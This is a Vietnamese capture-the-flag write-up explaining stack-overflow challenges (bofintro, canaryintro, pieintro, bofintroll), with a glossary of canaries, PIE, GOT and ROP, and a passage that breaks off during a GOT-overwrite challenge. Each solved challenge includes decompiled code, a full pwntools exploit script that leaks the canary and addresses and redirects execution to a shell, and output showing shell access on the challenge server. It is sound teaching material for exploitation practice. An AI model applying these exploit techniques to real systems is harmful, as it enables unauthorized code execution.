--- title: "Recruit CTF" author: "lazyming" date: 2025-10-05 difficulty: Easy --- ## Glossary Ở đây mình sẽ giải thích đơn giản các định nghĩa để các bạn có thể hiểu bài luôn khi xem, Khuyến khích các bạn tự tìm hiểu sâu hơn ### Return Address khi bạn gọi hàm thì địa chỉ của lệnh tiếp theo sẽ được push lên stack để chương trình biết sau khi chạy xong hàm thì quay về đâu chạy tiếp ### Saved RBP Saved RBP là khung hàm cũ của hàm GỌI hàm hiện tạ, công dụng của nó là để hàm hiện tại biết cách quay lại khung hàm trước đó khi chạy xong. Nếu giá trị này bị hư thì khi hàm hiện tại kết thúc, hàm gọi sẽ không thể tiếp tục chạy bình thường do không thể tìm lại các biến cũ của nó. Thông thường nó cần là vùng nhớ readable hoặc writeable, nếu không thì khi hàm hiện tại kết thúc, việc truy cập vào khung hàm trước đó có thể gây ra lỗi bộ nhớ (segmentation fault) hoặc hành vi không xác định khác. ### Canary canary là một giá trị ngẫu nhiên được sinh ra, giống như “người canh giữ” nằm trước `Saved RBP` và `return address`. Nó có nhiệm vụ phòng trường hợp `stack overflow` xảy ra ghi đè lên return address. Khi đó, canary cũng sẽ bị ghi đè, và chương trình khi kiểm tra thấy giá trị này bị thay đổi so với ban đầu thì sẽ dừng luôn, không nhảy tiếp vào return address. Nếu canary không bị thay đổi thì chương trình sẽ chạy tiếp bình thường. ### PIE PIE (Position Independent Executable) là cơ chế bảo vệ bộ nhớ cho chương trình. Khi bật PIE, base address của chương trình sẽ được load vào một địa chỉ ngẫu nhiên mỗi lần chạy. Toàn bộ địa chỉ của lệnh và hàm trong chương trình sẽ bị dịch đi một khoảng random — dịch ở đây nghĩa là không thay đổi khoảng cách tương đối giữa các địa chỉ, nhưng thay đổi địa chỉ thực tế của chúng. Điều này khiến việc biết trước địa chỉ của một hàm hay lệnh trở nên không thể; ta chỉ có thể leak địa chỉ đó trong lúc chương trình đang chạy. ### .got.plt Các bạn hình dung đơn giản đây như một cái bảng chứa địa chỉ các hàm libc được gọi như printf, puts v.v. Khi gọi hàm, chương trình sẽ nhảy vào đây để tra địa chỉ rồi nhảy vào entry tương ứng. Nếu .got.plt bị ghi đè, khi chương trình gọi hàm thì nó sẽ nhảy tới địa chỉ chúng ta đã ghi đè thay vì địa chỉ hàm mà lẽ ra nó phải gọi. ### ROP ROP (Return Oriented Programming) — lập trình hướng return =)), đây là cách để khắc chế NX (No eXecute). Các bạn google thêm về cách exploit stack overflow bằng shellcode (viết shellcode lên stack để thực thi) nhé: người ta nghĩ ra NX để bảo vệ, và các “hắc cờ” cũng nghĩ ra cách khắc chế — đó là ROP. Một ROP gadget là một đoạn mã ngắn kết thúc bằng ret, ví dụ: pop rdi; ret hoặc pop rdx; pop rsi; ret. Hiển nhiên, một hàm cũng có thể coi là một ROP gadget vì nó thường kết thúc bằng ret. Bằng cách xếp địa chỉ của các gadget theo thứ tự, ta tạo được một ROP chain — khi CPU thực hiện chuỗi ret thì từng gadget sẽ chạy tuần tự, thực hiện các thao tác ta muốn (ví dụ chuẩn bị tham số rồi gọi system để bật shell). Khi mình ghi đè return address bằng địa chỉ của ROP chain (ví dụ do stack overflow), lúc hàm return nó sẽ nhảy vào ROP chain và thực thi các gadget đó — từ đó thực hiện hành vi tùy ý mà không cần chèn mã mới (vì NX ngăn chèn/thi hành shellcode trên vùng dữ liệu). --- # bofintro ![image](https://hackmd.io/_uploads/BkSu9TDpxe.png) **Tags:** `stack-overflow` `pwn` --- ## TL;DR Một binary không có stack canary có thể bị stack overflow, cho phép overwrite return address và chuyển luồng sang hàm `win` (hàm này gọi `execve("/bin/sh", ...)` để lấy shell). ## Analysis Chạy chương trình ta thấy nó in ra stack state của hàm `main` ```bash Win function's address: 0x55ca5a4f8209 Current stack: |Offset|Address | Value | |0x00 |0x00007ffecbe7ec10|0x0000000000000000| <=== Your buffer |0x08 |0x00007ffecbe7ec18|0x00007f1831341be0| |0x10 |0x00007ffecbe7ec20|0x00007ffecbe7ecc0| <=== Stored RBP |0x18 |0x00007ffecbe7ec28|0x00007f1831110575| <=== Return address Now you know what to do: ``` - Your buffer address là nơi lưu dữ liệu bạn nhập - Saved RBP — xem định nghĩa ở [Saved RBP](#Saved-RBP) - Return Adress sau khi hàm hàm hiện tại (`main`) chạy xong nó sẽ nhảy vào địa chỉ đó và tiếp tục thực thi Vậy cái win function adress là gì các bạn dùng decompiler dịch cái file nhị phân ra thành source C thì trong source bạn sẽ thấy ```c void win(void) { char *local_18; undefined8 local_10; local_18 = "/bin/sh"; local_10 = 0; execve("/bin/sh",&local_18,(char **)0x0); return; } ``` đây chính là hàm win, đề cho chúng ta địa chỉ của nó thực thi hàm sẽ gọi shell có shell thì chúng ta sẽ có quyền truy cập để heck được flag, mục tiêu của bài này là phải điều khiểu luồng của chương trình cho nó nhảy vào hàm này ```c undefined8 main(void) { undefined1 local_18 [16]; printf("Win function\'s address: 0x%lx\n\n",win); dumpstack(local_18); printf("\nNow you know what to do: "); read(0,local_18,0x100); putchar(10); dumpstack(local_18); return 0; } ``` hàm main bị lỗi Stack Overflow buffer chỉ có 16 byte nhưng lại dùng hàm read(0,local_18,0x100); đọc vào lên tới tận 0x100 byte cho phép chúng ta ghi đè lên những giá trị sau buffer (saved RBP, Return Adress) ## Exploit Chúng ta ghi đè return address của hàm `main` thành địa chỉ của hàm `win` sau khi chạy xong hàm main nó sẽ nhảy vào hàm `win` để thực thi. Khoảng cách từ buffer của chúng ta tới Return Address là 0x18 Vậy payload sẽ có dạng `24 * 'A' + new return adress` với new return adress là adress của hàm win gửi nó cho sever chúng ta sẽ truy cập vào được shell của sever và đọc được flag Lưu ý: bài này mình phá hỏng luôn saved RBP vì không cần thiết, bình thường saved rbp phải là vùng nhớ readable hoặc writeable, bạn cẩn thận hơn thì dùng lại cái saved rbp cũ cũng được Solve script ```python from pwn import * context.binary = exe = ELF("./chall") context.terminal = ["kitty", "-e"] remote_connection = "nc vm.daotao.antoanso.org 34523".split() def start(): if args.REMOTE: return remote(remote_connection[1], int(remote_connection[2])) else: return process(exe.path) offset = 0x1c2 p = start() p.recvuntil(b"Win function's address: ") win_leak = p.recvline() win_leak = win_leak[:-1] win_leak = int(win_leak, 16) print(f"Leaked address: {hex(win_leak)}") payload = b'A' * 24 payload += p64(win_leak) p.sendlineafter(b"Now you know what to do: ", payload) p.interactive() ``` Kết quả ```bash lazyming@fedora:~/ctf/pwn/recruit_ctf/botinfo/35f76f14-f6b2-471b-b42c-bfb7af378bd7(1)$ python solve.py REMOTE [*] '/home/lazyming/ctf/pwn/recruit_ctf/botinfo/35f76f14-f6b2-471b-b42c-bfb7af378bd7(1)/chall' Arch: amd64-64-little RELRO: Full RELRO Stack: No canary found NX: NX enabled PIE: PIE enabled SHSTK: Enabled IBT: Enabled Stripped: No [+] Opening connection to vm.daotao.antoanso.org on port 34523: Done Leaked address: 0x59d90b6f9209 [*] Switching to interactive mode Current stack: |Offset|Address |Value | |0x00 |0x00007ffc1bd6c050|0x4141414141414141| <=== Your buffer |0x08 |0x00007ffc1bd6c058|0x4141414141414141| |0x10 |0x00007ffc1bd6c060|0x4141414141414141| <=== Stored RBP |0x18 |0x00007ffc1bd6c068|0x000059d90b6f9209| <=== Return address $ id uid=1001(ctf) gid=1001(ctf) groups=1001(ctf) $ cat flag.txt BPCTF{noi_tinh_yeu_bat_dau_4130218ceb6f154233bfd7c7fab262d7} ``` --- # canaryintro ![image](https://hackmd.io/_uploads/HyawHlO6xx.png) **Tags:** `stack-overflow` `stack canary` --- ## TL;DR Một binary có stack canary bị stack overflow cho phép overwrite return address và chuyển luồng sang hàm `win` (hàm này gọi `execve("/bin/sh", ...)` để lấy shell). Ai đọc bài bofintro rồi thì bài này khác mỗi vụ có thêm canary protection ## Analysis Chạy chương trình ta thấy nó in ra stack và cho ta địa chỉ hàm `win` ```bash Win function's address: 0x5584f67a3229 Current stack: |Offset|Address |Value | |0x00 |0x00007ffd70b081d0|0x0000000000000000| <=== Your buffer |0x08 |0x00007ffd70b081d8|0x00007f0e4f8e75c0| |0x10 |0x00007ffd70b081e0|0x00007ffd70b08220| |0x18 |0x00007ffd70b081e8|0x8d53f72d8b6eae00| <=== Stack canary |0x20 |0x00007ffd70b081f0|0x00007ffd70b08290| |0x28 |0x00007ffd70b081f8|0x00007f0e4f701575| <=== Return address Now you know what to do: ``` - Your Buffer là nơi lưu dữ liệu bạn nhập - Ở trên [Saved RBP](#Saved-RBP) có thêm [Stack Canary](#Canary) - [Return Address](#Return-Address) là địa chỉ sau khi hàm hàm hiện tại (`main`) chạy xong nó sẽ nhảy vào địa chỉ đó và tiếp tục thực thi Vậy cái win function adress đề cho là gì các bạn dùng decompiler dịch cái file nhị phân ra thành source c thì trong source bạn sẽ thấy ```c void win(void) { long in_FS_OFFSET; char *local_28; undefined8 local_20; long local_10; local_10 = *(long *)(in_FS_OFFSET + 0x28); local_28 = "/bin/sh"; local_20 = 0; execve("/bin/sh",&local_28,(char **)0x0); if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) { // WARNING: Subroutine does not return __stack_chk_fail(); } return; } ``` Đây chính là hàm win, đề cho chúng ta địa chỉ của nó thực thi hàm sẽ gọi shell có shell thì chúng ta sẽ có quyền truy cập để heck được flag, mục tiêu của bài này là phải điều khiểu luồng của chương trình cho nó nhảy vào hàm này ```c undefined8 main(void) { long in_FS_OFFSET; undefined1 local_28 [24]; long local_10; local_10 = *(long *)(in_FS_OFFSET + 0x28); printf("Win function\'s address: 0x%lx\n\n",win); dumpstack(local_28); printf("\nNow you know what to do: "); __isoc99_scanf(&DAT_001020e3,local_28); putchar(10); dumpstack(local_28); if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) { // WARNING: Subroutine does not return __stack_chk_fail(); } return 0; } ``` hàm main bị lỗi Stack Overflow, buffer chỉ có 24 byte nhưng lại dùng hàm `__isoc99_scanf(&DAT_001020e3,local_28);` `&DAT_001020e3` là `%s` đọc không giới hạn cho phép chúng ta ghi đè lên những giá trị sau buffer ([Saved RBP](#Saved-RBP), [Stack Canary](#Canary), [Return Address](#Return-Address)) Vấn đề là bây giờ chúng ta có thêm canary, nếu chúng ta ghi đè thẳng lên return address thì canary sẽ bị thay đổi và chương trình sẽ dừng lại không nhảy vào return address nữa Vậy thì chúng ta vẫn làm như bofintro nhưng thêm canary vào payload để canary không bị thay đổi thì chương trình sẽ chạy tiếp bình thường vậy payload sẽ có dạng `24 * 'A' + Canary + Readable Writeable Address + win function Address` sau khi thực thi hàm main nó sẽ nhảy vào win function để thực thi chúng ta sẽ có shell. lưu ý: bài này Saved RBP mình dùng lại chính cái RBP cũ chứ không phá hỏng nó như bài trước cho an toàn Solve script ```python from pwn import * context.binary = exe = ELF("./chall") context.terminal = ["kitty", "-e"] remote_connection = "nc vm.daotao.antoanso.org 33552".split() def start(): if args.REMOTE: return remote(remote_connection[1], int(remote_connection[2])) else: return process(exe.path) offset = 0x1c2 p = start() p.recvuntil(b"Win function's address: ") winaddr = int(p.recvline().strip(), 16) print(f"winaddr: {hex(winaddr)}") line1 = p.recvuntil(b"|0x18 |") line2 = p.recvuntil(b"|0x20 |") line3 = p.recvuntil(b"|0x28 |") line4 = p.recvuntil(b"Return") canary_str = line2[21:21+16] temp = line3[21:21+16] leak_adress_str = line4[21:21+16] canary = int(canary_str, 16) leak_adress = int(leak_adress_str, 16) temp = int(temp, 16) print(f"leak_adress_str: {leak_adress_str}") print(f"leak_adress: {hex(leak_adress)}") print(f"canary_str: {canary_str}") print(f"canary: {hex(canary)}") payload = b'A' * 24 payload += p64(canary) payload += p64(temp) payload += p64(winaddr) p.sendlineafter(b"Now you know what to do: ", payload) p.interactive() ``` Kết quả ```bash lazyming@fedora:~/ctf/pwn/recruit_ctf/canaryintro/9975677e-e8c9-475e-bfc1-f7f809e25f8c$ python solve.py REMOTE [*] '/home/lazyming/ctf/pwn/recruit_ctf/canaryintro/9975677e-e8c9-475e-bfc1-f7f809e25f8c/chall' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled SHSTK: Enabled IBT: Enabled Stripped: No [+] Opening connection to vm.daotao.antoanso.org on port 34577: Done winaddr: 0x5baa31ef1229 leak_adress_str: b'000076d08a7e61ca' leak_adress: 0x76d08a7e61ca canary_str: b'7ec5c99740de8e00' canary: 0x7ec5c99740de8e00 [*] Switching to interactive mode Current stack: |Offset|Address |Value | |0x00 |0x00007ffe7d2d2dd0|0x4141414141414141| <=== Your buffer |0x08 |0x00007ffe7d2d2dd8|0x4141414141414141| |0x10 |0x00007ffe7d2d2de0|0x4141414141414141| |0x18 |0x00007ffe7d2d2de8|0x7ec5c99740de8e00| <=== Stack canary |0x20 |0x00007ffe7d2d2df0|0x00007ffe7d2d2e90| |0x28 |0x00007ffe7d2d2df8|0x00005baa31ef1229| <=== Return address $ id uid=1001(ctf) gid=1001(ctf) groups=1001(ctf) $ cat flag.txt BPCTF{canary_guards_your_stack_f1994a7d1cb2e0aaf69241ba160693ab} ``` # pieintro ![image](https://hackmd.io/_uploads/SkMXRAdaxl.png) **Tags:** `stack-overflow` `stack canary` `PIE` --- ## TL;DR Một binary có stack canary, có bật [PIE](#pie) bị stack overflow cho phép overwrite return address và chuyển luồng sang hàm `win` (hàm này gọi `execve("/bin/sh", ...)` để lấy shell cho phép đọc flag.txt). Ai đọc bài Canary intro rồi thì bài này khác mỗi vụ giờ họ không cho chúng ta địa chỉ hàm win nữa chúng ta phải tự xử ## Analysis Chạy chương trình ta thấy nó in ra stack của hàm `vuln` các bạn để ý tại sao không in ra trong hàm main như trong mấy bài khác luôn không :D mà lại phải để hàm main gọi vuln rồi trong vuln mới in ra stack vì tác giả muốn return address của hàm vuln là hàm main vì từ địa chỉ của hàm main tính được địa chỉ của hàm win vì chúng cùng nằm trong vùng nhớ binary ```bash Win function's addre... You can calculate it yourself! Current stack: |Offset|Address |Value | |0x00 |0x00007ffca7b788c0|0x0000000000000000| <=== Your buffer |0x08 |0x00007ffca7b788c8|0x0000000000000000| |0x10 |0x00007ffca7b788d0|0x0000000000000000| |0x18 |0x00007ffca7b788d8|0x396426534b364400| <=== Stack canary |0x20 |0x00007ffca7b788e0|0x00007ffca7b788f0| <=== Saved RBP |0x28 |0x00007ffca7b788e8|0x0000559aaa68e3f3| <=== Return address (main code address) Now you know what to do: ``` - Your Buffer là nơi lưu dữ liệu bạn nhập - Ở trên [Saved RBP](#Saved-RBP) có [Stack Canary](#Canary) - [Return Address](#Return-Address) là địa chỉ sau khi hàm hàm hiện tại (`vuld`) chạy xong nó sẽ nhảy vào địa chỉ đó và tiếp tục thực thi ```c void win(void) { long in_FS_OFFSET; char *local_28; undefined8 local_20; long local_10; local_10 = *(long *)(in_FS_OFFSET + 0x28); local_28 = "/bin/sh"; local_20 = 0; execve("/bin/sh",&local_28,(char **)0x0); if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) { // WARNING: Subroutine does not return __stack_chk_fail(); } return; } ``` Đây chính là hàm win, đề cho chúng ta địa chỉ của nó thực thi hàm sẽ gọi shell có shell thì chúng ta sẽ có quyền truy cập để heck được flag, mục tiêu của bài này là phải điều khiểu luồng của chương trình cho nó nhảy vào hàm này nhưng chúng ta vẫn chưa có địa chỉ của nó vì nó không tặng cho chúng ta như lần trước và chúng ta cũng không dự đoán được bạn quay lại các bài trước chạy lại nhiều lần thì sẽ thấy cái win adress họ cho không lần nào giống lần nào ```c void vuln(void) { long in_FS_OFFSET; undefined1 local_28 [24]; long local_10; local_10 = *(long *)(in_FS_OFFSET + 0x28); puts("Win function\'s addre... You can calculate it yourself!\n"); dumpstack(local_28); printf("\nNow you know what to do: "); __isoc99_scanf(&DAT_001020eb,local_28); putchar(10); dumpstack(local_28); if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) { // WARNING: Subroutine does not return __stack_chk_fail(); } return; } ``` hàm vuln bị lỗi Stack Overflow, buffer chỉ có 24 byte nhưng lại dùng hàm `__isoc99_scanf(&DAT_001020eb,local_28);` `&DAT_001020eb` là `%s` đọc không giới hạn cho phép chúng ta ghi đè lên những giá trị sau buffer ([Saved RBP](#Saved-RBP), [Stack Canary](#Canary), [Return Address](#Return-Address)) Vấn đề là bây giờ chúng ta có canary, và không chó địa chỉ hàm win nữa nên chúng ta phải tính toán địa chỉ hàm win dựa trên địa chỉ hàm main mà chúng ta có được từ return address của hàm vuln là cái in ra khi chạy chương trình `|0x28 |0x00007ffca7b788e8|0x0000559aaa68e3f3| <=== Return address (main code address)` ## Exploit vậy thì vẫn làm như canary intro nhưng phải tính địa chỉ hàm win dựa trên địa chỉ hàm main đọc phần [PIE](#pie) ta sẽ biết khoảng cách địa chỉ trong binary là không đổi nên ta cần biết khoảng cách từ return adress đó tới hàm win mình sẽ chỉ các bạn 2 cách tính - Cách 1: dùng gdb thêm lệnh gdb.attach(p) vào solve script trước khi gửi payload gõ lệnh ![image](https://hackmd.io/_uploads/SJfqnA_6ex.png) ta sẽ thấy được địa chỉ hàm win tiếp tục gõ lệnh `bt` ![image](https://hackmd.io/_uploads/BJVahAd6lx.png) ta thấy sau khi hàm vuln kết thúc nó sẽ nhảy vào cái địa chỉ đó trong main bạn chỉ cần lấy địa chỉ đó trừ cho địa chỉ hàm win ở bước trước là tính được khoảng cách giữa chúng rồi ![image](https://hackmd.io/_uploads/Bk6Wa0dpxe.png) - Cách 2: dùng objdump -d chall bạn sẽ thấy ```bash 00000000000013e1 <main>: 13e1: f3 0f 1e fa endbr64 13e5: 55 push %rbp 13e6: 48 89 e5 mov %rsp,%rbp 13e9: b8 00 00 00 00 mov $0x0,%eax 13ee: e8 5c ff ff ff call 134f <vuln> 13f3: b8 00 00 00 00 mov $0x0,%eax <== return adress sau khi hàm vuln chạy xong 13f8: 5d pop %rbp 13f9: c3 ret ``` và ```bash 0000000000001229 <win>: <== địa chỉ hàm win 1229: f3 0f 1e fa endbr64 122d: 55 push %rbp 122e: 48 89 e5 mov %rsp,%rbp 1231: 48 83 ec 20 sub $0x20,%rsp ``` dễ dàng tính được khoảng cách từ retunn address tới hàm win là `0x13f3 - 0x1229 = 0x1c2` vậy payload sẽ có dạng `24 * 'A' + Canary + Readable Writeable Address + (old return address - 0x1c2)` sau khi thực thi hàm main nó sẽ nhảy vào win function để thực thi chúng ta sẽ có shell. lưu ý: bài này [Saved RBP](#Saved-RBP) mình dùng lại chính cái RBP cũ Solve script ```python #!python3 from pwn import * context.binary = exe = ELF("./chall") context.terminal = ["kitty", "-e"] # request VM, copy the command for Pwnable Challenges and paste here remote_connection = "nc vm.daotao.antoanso.org 33489".split() def start(): if args.REMOTE: return remote(remote_connection[1], int(remote_connection[2])) else: return process(exe.path) offset = 0x13f3 - 0x1229 p = start() line1 = p.recvuntil(b"|0x18 |") line2 = p.recvuntil(b"|0x20 |") line3 = p.recvuntil(b"|0x28 |") line4 = p.recvuntil(b"Return") canary_str = line2[21:21+16] temp = line3[21:21+16] leak_adress_str = line4[21:21+16] canary = int(canary_str, 16) leak_adress = int(leak_adress_str, 16) temp = int(temp, 16) print(f"leak_adress_str: {leak_adress_str}") print(f"leak_adress: {hex(leak_adress)}") print(f"canary_str: {canary_str}") print(f"canary: {hex(canary)}") payload = b'A' * 24 payload += p64(canary) payload += p64(temp) payload += p64(leak_adress - offset) # # gdb.attach(p) p.sendlineafter(b"Now you know what to do: ", payload) p.interactive() ``` Kết quả ```bash lazyming@fedora:~/ctf/pwn/recruit_ctf/pieintro/0fb9793c-430c-490e-9382-55112dbf457a$ python solve.py REMOTE [*] '/home/lazyming/ctf/pwn/recruit_ctf/pieintro/0fb9793c-430c-490e-9382-55112dbf457a/chall' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled SHSTK: Enabled IBT: Enabled Stripped: No [+] Opening connection to vm.daotao.antoanso.org on port 34583: Done leak_adress_str: b'00005905437f53f3' leak_adress: 0x5905437f53f3 canary_str: b'1d93d2ec0343a000' canary: 0x1d93d2ec0343a000 [*] Switching to interactive mode Current stack: |Offset|Address |Value | |0x00 |0x00007ffdce2cd250|0x4141414141414141| <=== Your buffer |0x08 |0x00007ffdce2cd258|0x4141414141414141| |0x10 |0x00007ffdce2cd260|0x4141414141414141| |0x18 |0x00007ffdce2cd268|0x1d93d2ec0343a000| |0x20 |0x00007ffdce2cd270|0x00007ffdce2cd280| |0x28 |0x00007ffdce2cd278|0x00005905437f5229| <=== Return address $ id uid=1001(ctf) gid=1001(ctf) groups=1001(ctf) $ cat flag.txt BPCTF{just_leak_the_base_23761d7e6937197aea0f362a955c7dbf} ``` # bofintroll ![image](https://hackmd.io/_uploads/SypahlK6xg.png) **Tags:** `stack-overflow` `stack canary` `PIE` --- ## TL;DR Bài này là nâng cấp của bài những bài trước đó, binary này cũng có hàm win nhưng hơi tricky một chút để mở shell có stack canary luôn Mô tả bào rằng chúng ta không được để cái chương trình này troll chúng ta =)), Và khuyến khích chúng ta sử dụng IDA, và pwndbg ## Analysis Dựa vào những gì in ra màn hình thì ta thấy như nó đang cố lừa chỉ linh tinh để lừa chúng ta nội dung của return adress thật ra là canary ```bash Win function's address: 0x5653156a6229 Current stack: |Offset|Address |Value | |0x00 |0x00007ffec3a8d2c0|0x0000000000000000| <=== Your buffer |0x08 |0x00007ffec3a8d2c8|0x00007f97adb325c0| |0x10 |0x00007ffec3a8d2d0|0x00007ffec3a8d310| <=== Stored RBP |0x18 |0x00007ffec3a8d2d8|0x22e98c3ab5fe5a00| <=== Return address Now you know what to do: ``` Nhưng mà ở đây nó chỉ linh tinh rồi `0x22e98c3ab5fe5a00` chính là dạng dễ nhận biết nhìn vào biết ngay nó là [canary](#canary) vậy thì kế tiếp nó là [Saved RBP](#Saved-RBP) kế tiếp nữa mới là [Return address](#Return-Address) Lúc mình làm bài này thì mình thấy vậy xong mình nghĩ chắc chỉ lừa như thế thôi thế là mình lấy địa chỉ hàm win đề cho exploit y như mấy bài kia kết quả nó in ra `You lose` =)) vậy thì mình nghĩ là hàm win có gì đó lạ lạ rồi dùng IDA decompile nó ra ```c unsigned __int64 win() { unsigned __int64 v1; // [rsp+18h] [rbp-8h] v1 = __readfsqword(0x28u); puts("You lose."); return v1 - __readfsqword(0x28u); } ``` hàm win này return vào không giúp chúng ta có shell nhưng nếu bạn xem dissassembler của nó thì thấy có cái khác khá hay ``` 0000000000001229 <win>: 1229: f3 0f 1e fa endbr64 122d: 55 push %rbp 122e: 48 89 e5 mov %rsp,%rbp 1231: 48 83 ec 20 sub $0x20,%rsp 1235: 64 48 8b 04 25 28 00 mov %fs:0x28,%rax 123c: 00 00 123e: 48 89 45 f8 mov %rax,-0x8(%rbp) 1242: 31 c0 xor %eax,%eax 1244: b8 00 00 00 00 mov $0x0,%eax <== gán eax = 0 1249: 85 c0 test %eax,%eax <== kiểm tra eax có bằng 0 124b: 74 2d je 127a <win+0x51> <== nếu eax = 0 skip đoạn code phía dưới 124d: 48 8d 05 b8 0d 00 00 lea 0xdb8(%rip),%rax # 200c <eligible+0x4> 1254: 48 89 45 e0 mov %rax,-0x20(%rbp) 1258: 48 c7 45 e8 00 00 00 movq $0x0,-0x18(%rbp) 125f: 00 1260: 48 8b 45 e0 mov -0x20(%rbp),%rax 1264: 48 8d 4d e0 lea -0x20(%rbp),%rcx 1268: ba 00 00 00 00 mov $0x0,%edx 126d: 48 89 ce mov %rcx,%rsi 1270: 48 89 c7 mov %rax,%rdi 1273: e8 a8 fe ff ff call 1120 <execve@plt> 1278: eb 0f jmp 1289 <win+0x60> 127a: 48 8d 05 93 0d 00 00 lea 0xd93(%rip),%rax # 2014 <eligible+0xc> 1281: 48 89 c7 mov %rax,%rdi 1284: e8 47 fe ff ff call 10d0 <puts@plt> 1289: 90 nop 128a: 48 8b 45 f8 mov -0x8(%rbp),%rax 128e: 64 48 2b 04 25 28 00 sub %fs:0x28,%rax 1295: 00 00 1297: 74 05 je 129e <win+0x75> 1299: e8 42 fe ff ff call 10e0 <__stack_chk_fail@plt> 129e: c9 leave 129f: c3 ret ``` bạn sẽ thấy cái đoạn code kia khá lạ gán một thanh ghi bằng 0 kiểm tra xem nếu nó bằng 0 thì skip cái đoạn này. ``` Đoạn code gọi shell 124d: 48 8d 05 b8 0d 00 00 lea 0xdb8(%rip),%rax # 200c <eligible+0x4> 1254: 48 89 45 e0 mov %rax,-0x20(%rbp) 1258: 48 c7 45 e8 00 00 00 movq $0x0,-0x18(%rbp) 125f: 00 1260: 48 8b 45 e0 mov -0x20(%rbp),%rax 1264: 48 8d 4d e0 lea -0x20(%rbp),%rcx 1268: ba 00 00 00 00 mov $0x0,%edx 126d: 48 89 ce mov %rcx,%rsi 1270: 48 89 c7 mov %rax,%rdi 1273: e8 a8 fe ff ff call 1120 <execve@plt> 1278: eb 0f jmp 1289 <win+0x60> ``` và đoạn bị skip chính là đoạn code gọi shell mà chúng ta cần, vì cái điều kiện đó quá hiển nhiên nên decompiler mới không hiển thị nó trong mã C source => chúng ta cần nhảy vào đoạn này chứ không phải là hàm win mà đề cho, offset từ hàm win tới nơi cần nhảy vào là `0x1129 - 0x124d = Địa chỉ hàm win - địa chỉ nơi cần nhảy vào trong win` ```c undefined8 main(void) { long in_FS_OFFSET; undefined1 local_28 [24]; long local_10; local_10 = *(long *)(in_FS_OFFSET + 0x28); printf("Win function\'s address: 0x%lx\n\n",win); dumpstack(local_28); printf("\nNow you know what to do: "); __isoc99_scanf(&DAT_001020f3,local_28); putchar(10); dumpstack(local_28); if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) { // WARNING: Subroutine does not return __stack_chk_fail(); } return 0; } } ``` hàm main bị lỗi Stack Overflow, buffer chỉ có 24 byte nhưng lại dùng hàm `__isoc99_scanf(&DAT_001020f3,local_28);` `&DAT_001020f3` là `%s` đọc không giới hạn cho phép chúng ta ghi đè lên những giá trị sau buffer ([Saved RBP](#Saved-RBP), [Stack Canary](#Canary), [Return Address](#Return-Address)) ## Exploit Vậy thì vẫn làm như canary intro thôi dùng Stack overflow để ghi đè ([Saved RBP](#Saved-RBP), [Stack Canary](#Canary), [Return Address](#Return-Address)) và lấy địa chỉ hàm win cộng thêm một khoảng chúng ta đã tính trước đó ghi vào return address chúng ta sẽ có sehll Solve script ```python from pwn import * exe = ELF("./chall_patched") libc = ELF("./libc.so.6") ld = ELF("./ld-linux-x86-64.so.2") context.binary = exe context.terminal = ["kitty", "-e"] # nc vm.daotao.antoanso.org 33649 def conn(): if args.LOCAL: r = process([exe.path]) if args.DEBUG: gdb.attach(r) else: r = remote("vm.daotao.antoanso.org", 33649) return r def main(): p = conn() p.recvuntil(b"Win function's address: ") winaddr = int(p.recvline().strip(), 16) base_addr = winaddr - 0x1229 execve_gadget = base_addr + 0x124d p.recvuntil(b"|0x00 |") line0 = p.recvn(20) stack_addr_str = line0[6:6+12] stack_addr = int(stack_addr_str, 16) print(f"stack_addr: {hex(stack_addr)}") print(f"winaddr: {hex(winaddr)}") line1 = p.recvuntil(b"|0x08 |") line3 = p.recvuntil(b"|0x18 |") line4 = p.recvuntil(b"Return") temp = line3[21:21+16] canary_str = line4[21:21+16] canary = int(canary_str, 16) temp = int(temp, 16) print(f"temp: {hex(temp)}") print(f"canary_str: {canary_str}") print(f"canary: {hex(canary)}") payload = b'\x00' * 16 payload += p64(temp) payload += p64(canary) payload += p64(stack_addr) payload += p64(execve_gadget) p.sendlineafter(b"Now you know what to do: ", payload) p.interactive() if __name__ == "__main__": main() ``` Kết quả ```bash [+] Opening connection to vm.daotao.antoanso.org on port 34672: Done stack_addr: 0x7ffca312ccf0 winaddr: 0x5f9d8b9c3229 temp: 0x7fb7bd8c2af0 canary_str: b'37ca966eb1a9b300' canary: 0x37ca966eb1a9b300 [*] Switching to interactive mode Current stack: |Offset|Address |Value | |0x00 |0x00007ffca312ccf0|0x0000000000000000| <=== Your buffer |0x08 |0x00007ffca312ccf8|0x0000000000000000| |0x10 |0x00007ffca312cd00|0x00007fb7bd8c2af0| <=== Stored RBP |0x18 |0x00007ffca312cd08|0x37ca966eb1a9b300| <=== Return address $ id uid=1001(ctf) gid=1001(ctf) groups=1001(ctf) $ cat flag.txt BPCTF{saved_return_address_is_further_when_canary_is_added_e60d62a660567b950d23a98f168d9dfc} ``` # gotintro ![image](https://hackmd.io/_uploads/BJbRPgcaxl.png) **Tags:** `Abirary address write` `got overwrite` --- ## TL;DR ```bash $ checksec chall $ checksec chall [*] '/home/lazyming/ctf/pwn/recruit_ctf/gotintro/0d9c7ac9-f89a-4a4e-9e98-22a9147cd5b9/chall' Arch: amd64-64-little RELRO: Partial RELRO <== cho phép ghi đè .got.plt Stack: Canary found NX: NX enabled PIE: No PIE (0x400000) <== không random address SHSTK: Enabled IBT: Enabled Stripped: No ``` Bài này là một bài [.got.plt](#.got.plt) kinh điển, binary tắt pie cho phép chúng ta tính được địa chỉ [.got.plt](#.got.plt) của hàm exit và ghi đè nó ## Analysis Hàm main cho phép chúng ta ghi tùy ý 8 byte lên một địa chỉ bất kỳ (Abitrary address write) nhận input là số dạng hex ```c int __fastcall __noreturn main(int argc, const char **argv, const char **envp) { _QWORD v3[2]; // [rsp+0h] [rbp-10h] BYREF v3[1] = __readfsqword(0x28u); puts("Getting bored of stack overflowing? I'll hand you the most powerfull write primitive."); printf("Address to be written: "); __isoc99_scanf("%lx", v3); printf("Value: "); __isoc99_scanf("%lx", v3[0]); exit(0); } ``` Các bạn đọc phần này để hiểu nhé [.got.plt](#.got.plt) bài này chúng ta sẽ ghi đè [.got.plt](#.got.plt) của hàm `exit()` bằng hàm win để khi nó gọi hàm exit thực chất là nó gọi hàm win chúng ta sẽ có shell để tìm các địa chỉ cần thiết dùng các lệnh như sau ```bash 